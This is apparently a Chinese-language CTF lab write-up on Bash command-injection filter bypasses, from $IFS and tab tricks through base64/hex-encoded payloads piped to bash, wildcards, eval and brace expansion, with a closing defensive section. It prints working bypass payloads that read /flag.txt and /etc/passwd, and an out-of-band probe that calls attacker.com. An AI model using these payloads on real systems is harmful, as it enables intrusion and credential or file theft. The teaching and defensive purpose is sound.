Bash命令执行绕过技巧:从空格过滤到无字母数字RCE实战
1. 项目概述从靶场实战看Bash命令执行的“奇技淫巧”最近在带新人过一些经典的RCE靶场从Level6一路打到Level13发现很多朋友卡关的原因出奇地一致面对那些看似“奇葩”的Bash命令过滤规则时脑子一下子就转不过弯了。这让我想起自己刚入门那会儿也是被各种空格过滤、字符黑名单、括号禁用搞得头大。实际上这些靶场设计的初衷正是为了让我们在安全可控的环境里系统地掌握Bash命令执行绕过的核心思路。今天我就结合这几个级别的实战把那些看似“骚操作”背后的原理和通用技巧拆解清楚。无论你是正在备战CTF还是想深入理解Web安全中的命令注入漏洞这篇文章都能帮你建立起一套清晰的绕过思维模型。简单来说RCE远程命令执行漏洞的利用核心就是“让目标系统执行我们输入的代码”。而防御方靶场会设置层层过滤比如禁用空格、黑名单关键字、限制特殊字符。我们的任务就是利用Bash shell这个解释器自身的特性和语法糖在规则的限制下依然能“说”出我们想执行的命令。这个过程与其说是“黑客技术”不如说是一场与Bash解释器本身的深度对话。你会发现很多技巧并非刻意设计的后门而是Bash为了灵活性所保留的特性。2. 核心思路拆解理解Bash的“语法”与“过滤器”在开始具体技巧前我们必须先建立两个核心认知Bash如何理解命令以及过滤器通常如何工作。这是所有绕过技巧的基石。2.1 Bash命令的解析与执行流程当你输入一串字符并按下回车时Bash并不是把它当成一个不可分割的整体。它会经历一个复杂的解析过程词法分析将输入字符串拆分成一个个“单词”words和“操作符”operators。空格、制表符、换行符通常是默认的分隔符。解析根据Shell的语法规则将这些单词和操作符组合成命令结构例如简单命令、管道、列表等。展开这是最复杂也最灵活的一步。Bash会进行多种替换展开包括大括号展开如{a,b,c}会展开为a b c。波浪号展开如~展开为家目录。参数和变量展开如$HOME。命令替换如$(command)或command会先执行command然后用其输出替换这部分内容。算术展开如$((12))。单词分割根据$IFS内部字段分隔符将展开后的结果进一步分割成字段。文件名展开通配符如*.txt。引用去除移除所有用于转义或引用的字符如反斜杠\、单引号、双引号保留其保护起来的字面意义。执行最后第一个字段作为命令名后续字段作为参数交给系统去执行。绕过技巧的核心很多过滤规则是在“词法分析”或“解析”阶段之后对用户原始输入进行简单的字符串匹配或删除。而我们的绕过本质上是构造一个输入让它在过滤阶段看起来是“无害”的但经过Bash完整的解析和展开流程后却能神奇地变成我们想要执行的命令。2.2 常见过滤器的类型与弱点靶场或WAFWeb应用防火墙的过滤规则通常有以下几种每种都有其对应的破解思路黑名单过滤直接禁用如cat、flag、ls、;、|、等敏感字符串。弱点名单不可能穷尽所有可能。Bash有太多方式可以表示同一个字符串编码、变量拼接、通配符、命令替换。空格过滤删除或拦截空格字符 。弱点Bash中能充当命令与参数分隔符的远不止空格一个字符。$IFS、制表符、换行符甚至某些特殊语法结构都可以。关键字过滤使用正则表达式或简单匹配检测并阻止如cat、flag等单词的出现。弱点匹配通常是针对连续的、未经处理的字符串。利用Bash的展开和拼接特性我们可以让关键字“动态生成”从而绕过静态匹配。特殊字符过滤禁用;、|、、$、(、)、\等。弱点这通常是最棘手的但Bash的语法多样性依然留有余地。例如不用$()可以用反引号不用|可以通过文件操作迂回。理解了这些我们再看具体的关卡就会有一种“哦原来它是在考这个知识点”的豁然开朗感。下面我们就进入实战拆解。3. Level 6-8基础绕过——空格与关键字的“消失术”这几个级别通常引入最基础的过滤是建立信心和理解基础概念的关键。3.1 Level 6空格的七十二变假设靶场过滤了所有的空格字符。你的目标是执行cat /flag.txt。绕过方案1使用内部字段分隔符$IFS这是最经典的绕过方式。$IFS是一个Shell环境变量它定义了用于单词分割的分隔符默认值是空格、制表符、换行符。即使代码过滤了空格字符但$IFS这个变量引用在展开后才会变成空格。cat$IFS/flag.txt为什么能行过滤逻辑匹配的是字面上的空格字符ASCII 32。$IFS是一个变量在Bash解析时它会被替换成其值空格。这个替换发生在过滤检查之后命令执行之前。有时为了确保解析可以用花括号cat${IFS}/flag.txt。甚至可以用$IFS$9$9是第9个位置参数通常为空拼接起来还是空格但能绕过一些简单的$IFS字符串过滤。绕过方案2使用重定向符或重定向符本身可以连接命令和文件在某些上下文中能替代空格的分隔作用。cat/flag.txt # 或 cat/flag.txt为什么能行cat命令可以从标准输入读取。 /flag.txt将文件内容重定向到cat的标准输入。在Bash语法中重定向符号和文件名之间可以没有空格虽然不推荐但语法允许。过滤规则可能只删除“空格”但不会动这个字符。绕过方案3使用制表符Tab或换行符在Web传参时可以通过URL编码注入这些不可见字符。制表符的URL编码是%09cat%09/flag.txt换行符的URL编码是%0acat%0a/flag.txt为什么能行简单的空格过滤可能只针对 字符。制表符和换行符在Bash解析时同样被视为单词分隔符但它们的ASCII码不同因此绕过了基于字符的过滤。实操心得在实战中优先尝试$IFS和因为它们最通用。如果遇到更严格的过滤比如把$IFS和也加入黑名单就要考虑用%09。传递%09时要注意如果后端代码对输入先做了一次URL解码那么你传%09过去它解码后变成真正的制表符再交给Bash执行。但如果后端没解码就直接拼接进命令那%09就会被当成普通字符。所以需要根据上下文判断。3.2 Level 7关键字的“分体”与“重组”这一关开始过滤关键字比如cat和flag。你的目标依然是读取/flag.txt。绕过方案1命令拼接变量拼接这是最直观的思路。既然不让出现完整的cat那我就把它拆开。ac;bat;cfl;dag;e.txt;$a$b /$c$d$e执行流程Bash定义了变量ac,bat等。执行$a$bBash会进行变量展开将$a替换为c$b替换为at拼接起来就是cat。同理/$c$d$e展开为/flag.txt。最终执行的命令就是cat /flag.txt但原始输入中从未出现连续的cat或flag字符串。绕过方案2通配符匹配如果过滤的是具体命令名但允许执行其他命令可以考虑用通配符。但这里过滤的是关键字通配符常用于匹配文件名。 对于文件名flag.txt如果路径已知可以直接用*通配。cat /fla* # 或更精确地用字符类 cat /fla[g].txt为什么能行过滤逻辑可能是简单的字符串包含检查。/fla*不包含连续的flag字符串。Bash在执行前会进行文件名展开/fla*如果唯一匹配的文件就是/flag.txt那么展开后就是cat /flag.txt。绕过方案3使用其他读取命令黑名单往往不全。cat被禁了还有一大堆工具可以读文件tac反向输出文件常用。more、less分页查看。head、tail查看文件头尾。nl带行号输出。od、xxd以二进制或十六进制格式输出有时能绕过基于文本的过滤。sort、uniq虽然用途不同但读文件并输出是没问题的。rev反向输出每一行。tac /flag.txt head -c 100 /flag.txt # 读取前100个字符注意事项使用变量拼接时要注意变量名本身是否被过滤。如果连$都被过滤了这个方法就失效了。此时可以尝试使用未初始化的变量。在Bash中引用一个未定义的变量其值为空。例如cat /fla${undefined_variable}g.txt。因为${undefined_variable}展开为空字符串所以整个路径还是/flag.txt。这招在变量名黑名单很长的场景下可能有奇效。4. Level 9-11进阶编码与符号魔术从这里开始过滤规则开始组合需要更精巧的构造。4.1 Level 9当括号和反引号被禁这一关可能过滤了$()和反引号这是命令替换的两种形式。但我们需要命令输出来构造payload。绕过方案利用变量展开和管道虽然不能直接进行命令替换但我们可以利用Bash的进程替换和管道。 假设我们需要执行cat $(echo flag.txt)但$()被禁。思路1通过管道传递参数echo flag.txt | xargs catxargs命令可以从标准输入读取数据并将其作为参数附加到指定命令后面。这里echo flag.txt输出字符串通过管道|传给xargsxargs会执行cat flag.txt。思路2利用read命令和重定向更隐蔽如果|也被过滤了呢我们可以用文件描述符和read。# 假设我们能控制一个文件描述符或者利用已有的文件 # 一种复杂的思路先写入一个临时文件如果允许写的话 echo flag.txt /tmp/arg cat $(/tmp/arg) # 这里用了 $(file) 的语法它是 cat /tmp/arg 的快捷方式但可能也被过滤 # 更通用的方法如果允许执行多行命令 exec 3 (echo flag.txt) # 将进程替换的输出连接到文件描述符3但 () 也是括号当括号被严格过滤时往往需要回归到最基础的拼接和通配符或者寻找其他未被过滤的命令交互方式。实操心得遇到符号过滤首先要冷静在Bash中完成一个任务通常有N种方法。过滤了$()我们就想想有没有不用命令替换也能达到目的的方法。比如如果目标只是读取一个固定文件那可能根本不需要动态构造文件名。如果需要也许可以通过环境变量、通过其他命令的输出间接获取。关键在于理解最终那条命令是如何被组装的然后逆向思考有哪些路径可以组装出它。4.2 Level 10Base64与十六进制的“隐身衣”这一关可能直接黑名单了所有常见的文件读取命令和关键字甚至检查参数。这时编码绕过就派上用场了。绕过方案1Base64编码将我们想执行的命令编码成Base64然后通过Bash解码执行。# 假设我们想执行 cat /flag.txt # 先计算命令的base64 echo -n cat /flag.txt | base64 # 输出可能是Y2F0IC9mbGFnLnR4dA # 那么payload可以构造为 echo Y2F0IC9mbGFnLnR4dA | base64 -d | bash拆解echo输出Base64字符串。base64 -d进行解码还原出cat /flag.txt这个字符串。通过管道|将还原后的字符串传给bash执行。为什么能行过滤规则检查的是cat、flag这些明文。但Y2F0IC9mbGFnLnR4dA这串字符看起来是随机的不会被匹配。最终的执行发生在Bash解码之后绕过了前端的检查。绕过方案2十六进制Hex编码原理同Base64使用xxd命令进行编解码。# 将命令转为hex echo -n cat /flag.txt | xxd -p # 输出636174202f666c61672e747874 # payload echo 636174202f666c61672e747874 | xxd -r -p | bashxxd -r -p的作用是将十六进制字符串还原为二进制数据。绕过方案3ASCII码拼接更底层在Bash中可以通过printf和八进制/十六进制转义序列来生成任意字符。# 生成 cat 字符串。c0x630143(八进制)a0x610141t0x740164 # 使用printf和八进制 $(printf \143\141\164) /flag.txt # 或者使用十六进制 $(printf \x63\x61\x74) /flag.txt为什么能行过滤规则匹配的是字面字符c、a、t。但\143、\x63这些转义序列在Bash解析printf命令并执行后才会输出真正的cat字符串。这同样是一种“动态生成”的思路。注意事项编码绕过的前提是目标系统上必须有对应的编解码工具base64、xxd、printf。在精简的Docker环境或嵌入式系统中这些工具可能不存在。另外使用bash或sh执行解码后的命令这个bash关键字本身也可能被过滤。此时可以尝试用反引号或.source命令来执行eval $(echo Y2F0IC9mbGFnLnR4dA | base64 -d)。4.3 Level 11通配符的妙用与无字母数字RCE这是CTF中常见的“无字母数字”webshell的Bash版本思路限制极度严格。场景假设过滤了所有字母和数字我们如何执行命令核心思路在Bash中我们可以不依赖字母数字仅通过特殊符号和Bash特性来生成字符串并执行命令。一个经典的方法是使用“取反”和“自增”构造字符但更Bash风格的方法是利用“通配符”和“变量默认值”。绕过方案利用通配符匹配系统命令即使在严格过滤下我们通常还是可以执行一些内置命令或路径已知的系统命令。通配符?和*可以匹配未知字符。# 假设我们知道 /bin/cat 存在但无法输入字母 /bin/?at /fla?.txt?匹配任意单个字符。如果/bin目录下只有cat命令以at结尾那么/bin/?at就会展开为/bin/cat。同理如果当前目录下只有flag.txt符合fla?.txt也会被展开。更极端的方案通过$和$*构造$和$*代表所有位置参数。在未传递参数时它们为空但可以参与拼接。# 一个脑洞大开的例子需要极其特殊的环境仅作思维拓展 # 假设我们能控制环境变量名或者利用已有环境变量 # 例如在Bash中${_} 代表上一个命令的最后一个参数 # 通过一系列骚操作可能构造出命令但这非常场景依赖。对于真正的“无字母数字”RCE在Web的PHP环境下更为常见利用PHP的字符串操作符.和^异或来构造函数名。在纯Bash环境下如果连?、*、$都过滤那几乎就是绝境需要依赖环境本身提供的极其特殊的特性或漏洞。实操心得Level 11 的难度在于打破思维定式。当所有常规路径都被堵死时就要去翻Bash手册里那些晦涩的角落。比如${#PATH}返回变量值的长度是一个数字。${!P*}会展开为所有以P开头的变量名。虽然这些技巧在真实漏洞利用中实用性不高但能极大地锻炼你对Bash解析过程的理解。在真实渗透中遇到这种极端过滤更实际的思路是1. 寻找未过滤的外部命令调用点如curl、wget2. 尝试写入一个脚本文件再执行它如果目录可写3. 利用已有命令的参数注入。5. Level 12-13综合实战与高阶技巧最后两关通常是前面所有技巧的综合并可能引入一些“非典型”的Bash特性。5.1 Level 12多重过滤与“套娃”式绕过这一关可能同时过滤空格、关键字、$、|、、反引号等。你需要像搭积木一样组合使用前面的技巧。假设场景过滤了空格、cat、flag、$、|。目标读取/flag.txt。思路拆解空格绕过不能用$IFS因为$被禁考虑用重定向符或%09制表符URL编码。命令绕过cat被禁用tac、head等替代。假设tac可用。参数绕过flag被禁用通配符*或拼接。但拼接需要$不可用。考虑用通配符fla*或fl?g.txt如果文件名确定。管道绕过|被禁无法用管道连接命令。但如果只需要执行单个命令可能不需要管道。构造Payloadtac/fla*这个payload使用tac替代cat。使用连接命令和文件绕过空格过滤。使用fla*通配符匹配flag.txt绕过关键字过滤。不包含$、|。如果通配符也被限制了呢可以考虑使用引号分割。在Bash中命令和参数之间的空格可以用引号闭合来“欺骗”解析器但这通常需要能注入引号。 例如假设我们注入点是eval(INPUT)我们可以输入tac/flag.txt。Bash在解析时tac/flag.txt会被当作一个单词但在执行时Bash会进行单词分割和引用去除最终可能正确解析。但这非常依赖于上下文。高阶技巧利用Bash大括号展开大括号展开{}在Bash解析的早期进行可以用来生成字符串。# 生成 cat 命令 {cat,fl?g.txt} # 展开后相当于两个参数cat 和 flag.txt (如果fl?g.txt匹配成功)即使没有空格{cat,flag.txt}展开后就是cat flag.txt。但注意大括号内不能有空格除非被引用。这个技巧有时能绕过基于空格的过滤但大括号本身可能被过滤。5.2 Level 13利用环境变量与Bash内置特性这是最深的一层需要你对Bash环境有深入了解。技巧1通过$PATH变量执行命令当直接输入命令名时Bash会从$PATH环境变量列出的目录中查找可执行文件。我们可以通过修改$PATH或使用绝对路径来绕过对命令名的简单过滤。# 如果 cat 被过滤但 /bin/cat 存在 /bin/cat flag.txt # 或者临时修改PATH指向一个我们可控的目录如果允许 PATH/tmp:$PATH # 然后在/tmp下放一个名为 ccat 的脚本内容就是 cat ccat flag.txt技巧2利用$SHELL或$0$SHELL通常是当前shell的路径$0在脚本中代表脚本名称在交互式shell中代表shell名称如-bash。我们可以利用它们来执行shell。# 如果 bash 和 sh 都被过滤 $SHELL -c command_here # 或者 $0 -c command_here技巧3利用Bash内置命令Bash有一系列内置命令如:空命令、.source、echo、printf、eval。这些命令不依赖于外部二进制文件即使$PATH被破坏也能使用。eval尤其强大它可以执行字符串形式的命令。# 如果我们可以构造出命令字符串 eval cat flag.txt # 结合之前的编码技巧 eval $(echo Y2F0IGZsYWcudHh0Cg | base64 -d)技巧4通过/proc文件系统Linux的/proc是一个虚拟文件系统提供了访问内核信息的接口。有时可以用来读取文件或执行命令。读取文件/proc/self/cwd/flag.txt指向当前进程工作目录下的文件。执行命令非常困难但理论上可以通过向/proc/[pid]/fd/0标准输入写入数据来与进程交互这需要复杂的条件。终极思维重新审视漏洞点Level 13 往往意味着常规的Bash绕过技巧几乎全部被防御。这时我们需要跳出“命令注入”的框架思考是否真的只有这一个注入点也许有其他参数、其他功能点存在注入。过滤逻辑是否有缺陷是黑名单还是白名单是否存在顺序问题例如先解码后过滤是否存在正则表达式缺陷如未正确处理多行、递归能否利用其他漏洞组合比如先通过文件上传漏洞传一个脚本再通过命令注入即使限制很多去执行这个脚本。目标是否使用了错误的过滤函数例如用str_replace而不是preg_replace可能导致双写绕过cacat过滤掉cat后变成cat。6. 防御视角与实战排查指南作为攻击者我们研究绕过技巧。作为开发者或防御者我们更需要知道如何防御。从靶场中学到的最终要应用到安全开发和安全运维中。6.1 如何编写安全的命令执行代码根本原则避免将用户输入直接拼接到命令中。如果必须这么做请遵循以下准则使用白名单而非黑名单只允许预期的、有限的字符集。例如如果参数应该是一个数字就用正则表达式^[0-9]$严格校验。使用安全的API几乎所有编程语言都提供了更安全的命令执行或进程创建函数它们允许将命令和参数分开传递由底层库负责安全的拼接和转义。Python使用subprocess.run([ls, -la, directory])而不是os.system(ls -la user_input)。PHP使用escapeshellarg()或escapeshellcmd()对参数进行转义但要注意它们并非绝对安全最好结合白名单。Java使用ProcessBuilder并为其提供ListString形式的命令和参数。最小权限原则运行Web服务的进程应该使用低权限用户并限制其可访问的文件系统和可执行的命令。对输入进行规范化在验证和过滤前先对输入进行解码URL解码、Base64解码等然后进行规范化处理最后再应用白名单校验。防止攻击者利用编码进行绕过。6.2 命令注入漏洞的排查技巧如果你在代码审计或渗透测试中怀疑存在命令注入可以按以下步骤排查寻找危险函数/方法在代码中全局搜索PHP:system(),passthru(),exec(),shell_exec(),popen(),proc_open(), 反引号。Python:os.system(),os.popen(),subprocess.Popen(shellTrue),commands.getoutput()。Java:Runtime.exec(),ProcessBuilder。Node.js:child_process.exec(),child_process.spawn(shelltrue)。跟踪数据流找到这些函数后向上回溯看它们的参数是否直接或间接包含了用户可控的输入GET/POST参数、Cookie、Header、文件内容等。验证过滤逻辑检查对用户输入的处理。是否存在过滤是黑名单还是白名单过滤是在拼接前还是拼接后是否有解码步骤在过滤之后使用无害的探测payload在测试时使用能产生明显延迟或外部交互的payload以确认漏洞存在同时避免破坏。延时ping -c 10 127.0.0.1(Linux) 或ping -n 10 127.0.0.1(Windows)。观察响应是否延迟。DNS外带nslookup your-unique-subdomain.attacker.com或curl http://your-server.com/。在自己的服务器查看日志如果有请求记录证明命令执行成功。布尔盲注通过命令执行的成功/失败如cat文件是否存在来推断信息。例如cat /etc/passwd sleep 5如果文件存在会延时。6.3 常见问题与排查实录在实际操作中你可能会遇到一些意想不到的情况。这里记录几个我踩过的坑问题1Payload在本地测试成功但打到靶机上没反应。可能原因1编码问题。你在浏览器里输入%09但后端可能进行了多次URL解码或者根本没有解码。尝试直接输入制表符如果可以或者尝试号有时被当作空格处理。可能原因2命令执行环境不同。你的本地是/bin/bash靶机可能是/bin/shDash。Dash对某些Bash特有的语法如{cat,flag.txt}支持不好。尽量使用POSIX兼容的语法。可能原因3权限问题。Web进程用户如www-data可能没有读取目标文件或执行某些命令的权限。尝试读取/etc/passwd或whoami来确认权限。问题2使用了$IFS但命令执行失败。排查在payload前后加上调试命令。例如尝试echo$IFStest。如果输出了test说明$IFS生效了。如果没输出可能是$被过滤了或者变量IFS被覆盖了。可以尝试${IFS}或$IFS$9。问题3通配符*没有展开。排查可能是当前目录下没有匹配的文件。使用绝对路径如cat /home/*/.bash_history。另外如果命令被引号包裹通配符不会展开。例如eval(cat /tmp/*)在单引号或双引号内通配符是字面量。需要确保它在Bash展开阶段时不在引号内。问题4过滤规则似乎会“学习”第一次成功的payload第二次就失败了。可能原因靶场或WAF可能采用了动态规则或机器学习模型。这种情况下需要让每次payload都有所不同避免特征重复。可以增加随机字符串注释如cat flag.txt #xj8ksd或者频繁更换编码方式、变量名。走过从Level6到Level13的旅程你会发现Bash命令执行的绕过本质上是一场“语法游戏”。它不追求高深的漏洞利用而是考验你对这个每天使用的工具的理解深度。真正理解了Bash如何解析一行命令如何展开变量如何分割单词那些看似“奇葩”的绕过技巧就会变得理所当然。掌握这些不仅能让你在CTF中游刃有余更能让你在代码审计和渗透测试中一眼看穿那些脆弱的命令拼接点从而写出更安全的代码或进行更有效的安全测试。记住所有技巧都是“器”背后的原理才是“道”。多动手多实验在安全的靶场里把每种技巧都玩透实战时才能信手拈来。